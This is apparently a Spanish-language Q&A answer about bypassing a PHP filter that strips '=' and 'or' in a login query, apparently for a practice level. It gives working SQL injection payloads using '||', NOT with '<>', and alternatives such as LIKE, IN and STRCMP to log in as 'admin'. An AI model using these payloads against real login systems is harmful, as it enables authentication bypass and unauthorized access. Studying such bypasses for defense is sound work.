sql >> Base de Datos >  >> RDS >> Mysql

Inyección SQL con filtrado php

Asumiendo esta definición de lvl2_filter , que básicamente elimina cualquier ocurrencia de = y or hasta que ya no se encuentre, aún debería ser posible usar Operación lógica OR con || en lugar de OR y una expresión simple que se evalúa como verdadera como:

username: dummy
password: ' || '1

Esto resultaría en:

SELECT user_id FROM users WHERE username='dummy' and password='' || '1'

Para seleccionar un usuario específico, se pueden usar las reglas del álgebra booleana , donde x=y =!(x!=y) :

username: dummy
password: ' || NOT(username<>'admin') AND '1

Esto resultaría en:

SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'

Aquí <> es equivalente a != pero no contiene un = .

También hay otras operaciones que uno podría usar para asegurar nombre de usuario es igual a admin :

  • username BETWEEN 'admin' AND 'admin'
  • username LIKE 'admin'
  • username IN ('admin')
  • IF(STRCMP(username,'admin'), 0, 1)
  • CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END